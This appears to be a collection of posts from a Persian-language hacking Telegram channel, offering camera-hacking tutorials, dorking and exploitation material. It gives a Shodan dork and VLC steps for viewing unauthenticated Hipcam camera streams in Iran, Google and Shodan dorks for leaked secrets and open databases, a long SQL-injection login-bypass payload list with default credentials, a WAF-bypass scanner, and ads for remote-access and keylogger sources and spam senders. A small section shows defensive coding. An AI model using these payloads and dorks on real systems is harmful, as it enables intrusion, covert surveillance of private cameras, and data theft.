𝐙𝐚𝐧𝐬𝐡𝐢𝐧

🙂‍↔️اگه به زبان برنامه نویسی پایتون علاقه دارید حتما ببینید خیلی قشنگ توضیح میده

"Hipcam RealServer/v1.0" has_screenshot:True Country:ir

بیایید اجزای این دورک رو کالبدشکافی کنیم:

"Hipcam RealServer/v1.0"|هدر سرور RTSP این دوربین‌ها را هدف می‌گیرد. وقتی VLC یا هر کلاینتی به استریم وصل می‌شود، سرور خودش را با این رشته معرفی می‌کند

has_screenshot:True|شودان فقط دستگاه‌هایی را نشان می‌دهد که موفق شده از استریم ویدیویی‌شان اسکرین‌شات زنده بگیرد

Country:ir | محدود به ایران(میتونید تغییرش بدید)

و CVE-2022-38970 نسخه آسیب پذیری ثبت شده‌ی: «Hipcam RealServer v1.0 به کنترل دسترسی نادرست آسیب‌پذیر است.» الگوریتم تولید شناسه دستگاه (UID) نقص قابل پیش‌بینی دارد و به مهاجم اجازه می‌دهد اتصال مستقیم به هر دستگاهی برقرار کند .

محققان امنیتی SafetyDetectives با استفاده از شودان بیش از ۱۰۰,۰۰۰ دوربین از ۱۹ کشور را پیدا کردند که بدون هیچ احراز هویتی در دسترس بودند. مدل‌های آسیب‌پذیر شامل Hipcam RealServer/V1.0 بود .

۱: مVLC را باز کنید و مسیر را پیدا کنید
مVLC Player را روی ویندوز باز کنید. از منوی بالای برنامه، روی Media کلیک کنید و سپس Open Network Stream را انتخاب کنید.
مرحله ۲: آدرس RTSP را وارد کنید
یک پنجره باز می‌شود. تب Network را انتخاب کنید و در فیلد مربوطه، آدرس RTSP دوربین را وارد کنید.
فرم کلی آدرس RTSP به این شکل است:
rtsp://IP:PORT/مسیر_استریم
برای دوربین‌های Hipcam، مسیر استریم

معمولاً یکی از این حالت‌هاست:
برای دوربین‌های Hipcam، مسیر استریم معمولاً یکی از این حالت‌هاست:
rtsp://IP:554/11
rtsp://IP:554/1
مثال : فرض کنید IP دوربین 185.120.45.67 باشد و پورت پیش‌فرض 554 باشد. آدرس را این‌طور وارد می‌کنید:
rtsp://185.120.45.67:554/11


پروتکل RTSP (Real-Time Streaming Protocol) استانداردی است که دوربین‌های IP برای پخش زنده ویدیو از آن استفاده می‌کنند. پورت پیش‌فرض ۵۵۴ است .

مشکل اصلی: بسیاری از دوربین‌های IP، RTSP را بدون احراز هویت اجرا می‌کنند. یعنی اگر پورت ۵۵۴ روی اینترنت باز باشد و فایروال جلوی آن را نگرفته باشد، هر کسی می‌تواند با VLC وصل شود و استریم زنده را تماشا کند.

خود VLC در برخی نسخه‌های دوربین Hipcam، در لاگ‌هایش 401 Unauthorized و درخواست Digest Authentication نشان می‌دهد ، اما این در همه مدل‌ها اعمال نمی‌شود. آن‌هایی که در شودان با has_screenshot:True ظاهر می‌شوند، یعنی شودان بدون مشکل به استریم رسیده.

| site: | جستجو فقط توی یه دامنه
| filetype: | پیدا کردن نوع خاصی از فایل
| inurl: | جستجو توی آدرس صفحه
| intitle: | جستجو توی عنوان صفحه
| intext: | جستجو توی متن صفحه
دورک‌های مهم برای چک کردن سایت ها با دامنه ir:

پیدا کردن فایل‌های حساس لو رفته:
site:ir filetype:env
site:ir filetype:sql
site:ir filetype:log
site:ir filetype:bak
پیدا کردن پنل ادمین ایندکس شده:
site:ir inurl:admin
site:ir inurl:panel
site:ir intitle:"phpMyAdmin"
پیدا کردن دایرکتوری‌های باز:
site:ir intitle:"index of"
site:ir intitle:"index of" backup
پیدا کردن اطلاعات حساس توی فایل‌ها:
site:ir intext:"password"
site:ir filetype:sql "INSERT INTO"
site:ir filetype:txt "username"
پیدا کردن فایل‌های گیت لو رفته در سایت ها با دامنه ir:
site:ir inurl:.git
site:ir inurl:config.php
site:ir inurl:.env

ip:1.2.3.4                   ← اطلاعات یه IP خاص
port:3306                    ← پورت MySQL باز
port:27017                   ← پورت MongoDB باز
port:6379                    ← پورت Redis باز
port:3389                    ← پورت RDP باز

hostname:yoursite.com product:MongoDB
hostname:yoursite.com product:Elasticsearch
hostname:yoursite.com product:Redis

hostname:yoursite.com port:8080
hostname:yoursite.com port:8888
hostname:yoursite.com "default password"

hostname:yoursite.com vuln:CVE-2021-44228

.env / config.php / backup.sql / *.log

Options -Indexes

🫆[{{ 1.ربات های اوسینت روسی(اوسینت اکانت تلگرام) }}]

🫆[{{ 2.آموزش استخراج دیتابیس سایت(ابزار sqlmap) }}]

🫆[{{ 3.آموزش عملی sqlmap و نحوه پیدا کردن سایت های دارای باگ }}]

🫆[{{ 4.آموزش رنگی کردن پنل های شیشه ربات }}]

🫆[{{ 5.هوش مصنوعی تولید تصویر نامحدود و کاملا رایگان(بدون محدودیت اخلاقی) }}]

🫆[{{ 6.سورس ریموت¹ }}]

🫆[{{ 7.سورس ریموت² }}]

🫆[{{ 8.آموزش اوسینت }}]

🫆[{{ 9.خزنده/اسکنر وبسایت }}]

🫆[{{ 10.سورس ربات ایمیل فیک }}]

🫆[{{ 11.سورس سلف/چت رندوم در گروه }}]

🫆[{{ 12.سورس سندر روبیکا متصل به ربات تلگرام }}]

🫆[{{ 13.سورس سندر سروش پلاس متصل به ربات تلگرام }}]

🫆[{{ 14.هاک پنل ادمین سایت با sql injection }}]

🫆[{{ 15.آموزش ادیت سورس ریموت² }}]

[{{ 16.آموزش گوگل و شودان dorking }}]

[{{ 17.آموزش شودان/هاک دوربین مداربسته }}]

🫆[{{ 18.آموزش ساخت کیلاگر با پایتون متصل به ربات تلگرامی }}]

1.توکن خود را از @botfather دریافت کنید و جایگزین کنید.
2.آیدی عددی خودتون یا گروهتون رو میتونید از ربات @userinfobot بگیرید.
3.فقط کافیه فایل chalim.php رو ادیت کنید بقیه فایل ها نیازی بهه ادیت ندارن.
4.برای ست وبهوک از ربات  @IRAWebHookBot میتونید استفاده کنید فقط کافیه توکن و سپس دامنه و مسیری که سورس panel.php رو درونش قرار دادید بفرستید تا خودکار ست وبهوک انجام بشه.مثال آدرس ست وبهوک صحیح:https://zanshin.ir/zanshin/panel.php

پشت هر سایت و پنل ادمین، یه کوئری SQL برای لاگین وجود داره:

SELECT * FROM admins
WHERE username = 'INPUT'
AND password = 'INPUT'
اگه برنامه‌نویس ورودی رو مستقیم توی کوئری بریزه و sanitize نکنه، هکر می‌تونه به‌جای یوزر و پسورد واقعی، یه دستور SQL بفرسته — سرور اون رو اجرا می‌کنه و درو باز می‌کنه.

' or 1=1 limit 1 -- -+
' or ''='
' OR '1'='1
or'1'='1'or'1'='1'
'or'1'='1'or'1'='1
' or ' '='
' or ''='
admin'or''='
admin" or "a"="
admin" or 1=1 --
admin' or 1=1 --
admin' or 'a'='a
admin') or ('a'='a
admin") or ("a"="a
a=1)--
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a

وقتی این payload توی کوئری می‌ره:

sql
SELECT * FROM admins
WHERE username = '' OR 1=1 --
AND password = '...'
OR 1=1 همیشه درسته — سرور اولین ادمین جدول رو برمی‌گردونه. -- هم بقیه کوئری رو کامنت می‌کنه و شرط پسورد نادیده گرفته می‌شه. لاگین موفقه بدون دونستن هیچ رمزی.

قبل از هر چیز ساده‌ترین حالت رو امتحان کن:

Username: admin    Password: admin
Username: Admin    Password: Admin
Username: root     Password: root
Username: admin    Password: 1234

خیلی از پنل‌ها با یوزر و پسورد پیش‌فرض بازن چون ادمین تغییرشون نداده. اگه اینم کار نکرد، نوبت nmap و اسکن پورت و استفاده از ابزار های دیگست.

:
1. Prepared Statement:
php
// ❌ آسیب‌پذیر
$q = "SELECT * FROM admins WHERE username='$user' AND password='$pass'";

// ✅ امن
$stmt = $pdo->prepare("SELECT * FROM admins WHERE username=? AND password=?");
$stmt->execute([$user, $pass]);

۲. پسورد رو هش کن
php

$hash = password_hash($pass, PASSWORD_BCRYPT);

if (!password_verify($input, $hash)) die("❌ اطلاعات اشتباه");

۳. محدودیت تلاش لاگین
php
if ($fail_count >= 5) {
    die("❌ حساب موقتاً قفل شد");
}

۴. یوزر و پسورد پیش‌فرض رو عوض کن
❌ admin / admin 
❌ root / root 
❌ admin / 1234
✅ یه یوزر غیرقابل حدس با پسورد قوی

۵. آدرس پنل رو مخفی کن(از حروف بدون معنا و طولانی برای پنل ادمین استفاده کن تا به راحتی پیدا نشه)
❌ yoursite.com/admin
❌ yoursite.com/panel
✅ yoursite.com/xk92mp7

مهاجم یک کد JavaScript مخرب را داخل داده‌ای وارد می‌کند که سرور آن را ذخیره می‌کند؛ بعداً وقتی کاربر دیگری آن داده را مشاهده می‌کند، کد در مرورگر او اجرا می‌شود.

مثلاً فرض کن یک سایت بخش نظر کاربران دارد:
کاربر یک نظر ثبت می‌کند.
سایت نظر را در دیتابیس ذخیره می‌کند.
سایت بعداً همان نظر را بدون پاک‌سازی مناسب نمایش می‌دهد.
مرورگر بازدیدکننده محتوای مخرب را به‌عنوان HTML/JavaScript تفسیر می‌کند.

کامنت و نظرات
نام کاربری، بیو و پروفایل
پست‌ها و مطالب
پیام‌ها و چت‌ها
عنوان/متن Review
نام محصول یا توضیحات محصول
تیکت‌های پشتیبانی
پنل‌های ادمین و سیستم‌های مدیریت محتوا
فیلدهایی مثل عنوان، توضیحات، تگ و نام فایل

این یه اصطلاح عامیانه‌ی برنامه‌نویس‌هاست و هیچ ربطی به هک و نفوذ نداره. منظور ازش اینه که تابع input() پایتون رو با نسخه‌ی خودمون جایگزین کنیم. اسم فنی‌ش Monkey Patching هست.

کتابخونه‌هایی مثل Pyrubi، Rubpy و Rubigram موقع اولین اجرا از ترمینال شماره و کد تأیید می‌خوان و برنامه تا وارد کردنش منتظر می‌مونه. روی سرور یا ربات ۲۴ ساعته که کسی پای کیبورد نیست، همین‌جا اجرا متوقف می‌شه.

import builtins

original_input = builtins.input

def auto_input(prompt=""):
    print(f"[auto] {prompt}")
    return get_code_from_source()  # تابع خودت

builtins.input = auto_input

# ساخت کلاینت و لاگین
client = Client("my_session")
client.run()

builtins.input = original_input

• بعد از اولین لاگین، فایل نشست ساخته می‌شه و دفعه‌های بعد دیگه کدی خواسته نمی‌شه
• اگه برنامه چند بار ورودی می‌خواد (مثلاً شماره، بعد کد)، تابعت باید برای هرکدوم جواب مناسب برگردونه
• بعد از لاگین، input اصلی رو برگردون تا بقیه‌ی برنامه به‌هم نریزه

⚠️ محدودیت‌ها
• فقط اگه کتابخونه از input() داخلی پایتون استفاده کنه جواب می‌ده
• با آپدیت کتابخونه ممکنه از کار بیفته

🍷 تشخیص WAF
شناسایی بیش از ۲۰ فایروال معروف مثل Cloudflare، AWS WAF، Akamai، Imperva، Sucuri، ModSecurity، Wordfence و بقیه، با درصد اطمینان

👻 تشخیص تکنولوژی
پیدا کردن CMS (وردپرس، جوملا، دروپال، مجنتو، لاراول و ...)، فریم‌ورک، زبان سرور و نوع وب‌سرور

🗺 جمع‌آوری اطلاعات
IP، اطلاعات SSL، هدرهای امنیتی، کوکی‌ها، ردایرکت‌ها، robots.txt، sitemap و شناسایی سرویس‌های درحال استفاده

🫆 پیدا کردن پنل ادمین
لیست بزرگی از مسیرهای شناخته‌شده برای وردپرس، جوملا، دروپال، مجنتو، دجانگو، ریلز، Spring Boot، API و GraphQL

🔄 دور زدن WAF
تولید خودکار مسیرهای جایگزین، چرخش User-Agent و هدرهای Bypass برای رد شدن از فیلترهای WAF

⚡ سرعت
۱۰۰ ترد همزمان، connection pool بهینه و بدون تأخیر اضافه

📝 گزارش
ذخیره همه‌ی نتایج به‌صورت همزمان در فایل .txt و .json

pkg install python git
pip install requests beautifulsoup4
git clone https://github.com/zanshins/Scanner-ReconX
cd Scanner-ReconX
python ReconX.py

🦇 Zanshin Sender Panel
🍷مدیریت اکانت‌های سروش پلاس، فقط با چند تا دکمه توی ربات تلگرام

━━━━━━━━━━━━━━
✨ قابلیت‌ها
📋 مدیریت چند اکانت با لاگین ساده یا وارد کردن نشست آماده
📤 ارسال خودکار متن به گروه‌ها و کانال‌ها با تأخیر دلخواه
🎯 اسکن گروه‌ها و کانال‌ها و انتخاب هدف با یک کلیک
🤖 جوین خودکار از لینکدونی‌ها
📇 ارسال متن به مخاطبین
👤 تغییر نام و بیوگرافی اکانت
📊 نوار پیشرفت زنده و آمار ارسال
👥 افزودن ادمین و تعیین دسترسی هر ادمین
━━━━━━━━━━━━━━
🧰 زبان: Python 3 | کتابخونه‌ها: pyTelegramBotAPI و spluspy

📥 سورس کامل زیر همین پست
سوالی بود توی کامنت‌ها بپرس 👇

#سروش_پلاس #ربات #پایتون #سورس #python

.script.js
.file
.bot.py
.env

توجه: مخفی‌کردن فایل، امنیت واقعی ایجاد نمی‌کند. اطلاعات حساس مانند رمزها و توکن‌ها را داخل فایل‌های عمومی قرار ندهید و دسترسی آن‌ها را نیز محدود کنید.این کار فقط برای مواقعی مفید است که چندین نفر از یک هاست استفاده میکنید و میخواهید سورسی رو به صورت مخفیانه ران کنید یا شل بگیرید.🗿

ps aux

kill -9 PID

kill -9 12345

نکته: اگر به مشکلی خوردید و از روش بالا نتونستید مشکل رو حل کنید کافیه دستور kill -9 -1 رو در ترمینال هاست خود وارد کنید تا تموم پروسه ها به اجبار متوقف بشن. این دستور ممکن است تعداد زیادی از پردازش‌های کاربر را متوقف کند و باعث ازکارافتادن سرویس‌های در حال اجرا بشه که میتونید دوباره اونهارو ری استارت کنید. 

public_html

.htaccess

Options -Indexes

🚀 Zanshin Sender - سندره روبیکا

م👾 Zanshin Sender یک اسکریپت قدرتمند و بهینه برای مدیریت همزمان چندین حساب روبیکا است، که از طریق یک ربات تلگرام کنترل می‌شود. این ابزار به شما اجازه می‌دهد بدون نیاز به لاگین مداوم در اپلیکیشن روبیکا، تمامی عملیات‌های تبلیغاتی و مدیریتی خود را از راه دور و با سرعت بالا انجام دهید.

🫆سورس ریموت | ریموت vexr

توضیحات:
*  دیباگ شده بدون مشکل.
*  قابلیت های بیشتر از جمله گالری
*  تغییراتی در قسمته get card و بهبود عملکرد و ....

👻آموزش ران کردن هم قبلا داده شده میتونید اوایل چنل ببینیدش.

شات های پنلش رو میتونید از داخل ربات مشاهده کنید.🍷❤️

#ارسالی از طرف ادمین.
⚙سورس سلفه تلگرام.چت رندوم در گروه.

✨توضیحاته فرستنده:
این سورس مخصوص گروه هاییه که چالشه جاییزه دار میزارن واسه‌ی بیشترین چت کردن خودم باهاش کلی گیفت گرفتم.😂

قابلیت پاسخ خودکار به بعضی پیاما و چته رندوم داره لیست هاشو هم با همکارا نوشتیم خواستید تغییر بدید درکل برای گسترش دادن چیزه خوبیه🌚🔥

🔧زبان برنامه نویسی : python
📦کتابخونه : telethon

🔥 سورس ربات ایمیل موقت(Fake Mail)

یه ربات تلگرامی حرفه‌ای برای ساخت ایمیل‌های موقت و ناشناس، با رابط کاربری شیشه‌ای مدرن و کاملاً فارسی 💎

نمونه رباته ران شده(موقت):
@Gmsazzanbot

✨ امکانات:
🔮 ساخت آنی ایمیل موقت (بدون ثبت‌نام و رایگان)
📬 صندوق ورودی زنده + نمایش خودکار کد تایید (OTP)
🔐 پنل ادمین : آمار کلی ربات، پیام همگانی، مدیریت کاربران، بن/آنبن، عضویت اجباری، بکاپ‌گیری خودکار و تنظیم محدودیت‌ها
🛡️ حالت تعمیر + سیستم ضدخطا و پیام‌های هوشمند در تمام حالت‌ها

⚙️ زبان برنامه‌نویسی: Node.js
📦 کتابخونه: node-telegram-bot-api
🎨 دکمه‌های Inline با استایل رنگی

آماده برای نصب روی هر هاست یا سروری.

@zanshin_channel‌